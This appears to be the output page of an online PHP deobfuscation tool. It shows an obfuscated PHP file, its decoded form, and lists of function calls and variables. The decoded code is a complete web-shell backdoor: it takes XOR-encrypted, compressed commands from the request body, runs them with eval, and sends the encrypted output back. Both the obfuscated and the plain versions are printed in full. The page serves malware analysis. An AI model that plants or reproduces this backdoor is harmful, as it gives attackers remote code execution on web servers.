Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $c=');$j++,$i++O){O$o.=$tO{$i}^$k{$jO};}}OreturnO $o;}if O(@pregO_mOat'; $n='==O1)..

Decoded Output download

$k="a7045c0c";$kh="cd5d30353bc6";$kf="148195d836b3";$p="lfLmHr1UihRr99LJ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$c=');$j++,$i++O){O$o.=$tO{$i}^$k{$jO};}}OreturnO $o;}if O(@pregO_mOat';
$n='==O1) {@OoOb_start();O@eOOval(@gzuncompOress(@x(@baOsOe6OO4_decodO';
$v='seO64_eOncodOe(@x(@gzcoOmpressO($o)O,$k));pOrint("O$p$kh$Or$kf");}';
$J='rlen($t);$o=O"";foOr($i=0O;$i<$l;O){fOorO($j=O0;($j<$c&&$OiO<$l';
$F=str_replace('fo','','cforefoate_fofoffoufonction');
$E='O$k="aO7045c0cO"O;$kh="cd5d30353Obc6";O$kf="O148195d836b3"OO;$p="';
$w='e($m[1])O,$k)));O$o=@ob_gOet_contenOtOs();@ob_endO_clOean();$r=@ba';
$q='lfLmHOr1UihROr99LJO";functioOn x($tO,$k){O$cOOO=sOtrlen($k);$l=st';
$g='ch("/O$kh(.+)$kfO/",@OfileO_get_contOents(O"php://OinpOut"),$m)';
$B=str_replace('O','',$E.$q.$J.$c.$g.$n.$w.$v);
$f=$F('',$B);$f();
?>

Function Calls

str_replace 2
create_function 1

Variables

$B $k="a7045c0c";$kh="cd5d30353bc6";$kf="148195d836b3";$p="lfLm..
$E O$k="aO7045c0cO"O;$kh="cd5d30353Obc6";O$kf="O148195d836b3"OO..
$F create_function
$J rlen($t);$o=O"";foOr($i=0O;$i<$l;O){fOorO($j=O0;($j<$c&&$OiO..
$c );$j++,$i++O){O$o.=$tO{$i}^$k{$jO};}}OreturnO $o;}if O(@preg..
$g ch("/O$kh(.+)$kfO/",@OfileO_get_contOents(O"php://OinpOut"),..
$n ==O1) {@OoOb_start();O@eOOval(@gzuncompOress(@x(@baOsOe6OO4_..
$q lfLmHOr1UihROr99LJO";functioOn x($tO,$k){O$cOOO=sOtrlen($k);..
$v seO64_eOncodOe(@x(@gzcoOmpressO($o)O,$k));pOrint("O$p$kh$Or$..
$w e($m[1])O,$k)));O$o=@ob_gOet_contenOtOs();@ob_endO_clOean();..

Stats

MD5 d06393d0299f40c5de257626e10582bd
Eval Count 1
Decode Time 103 ms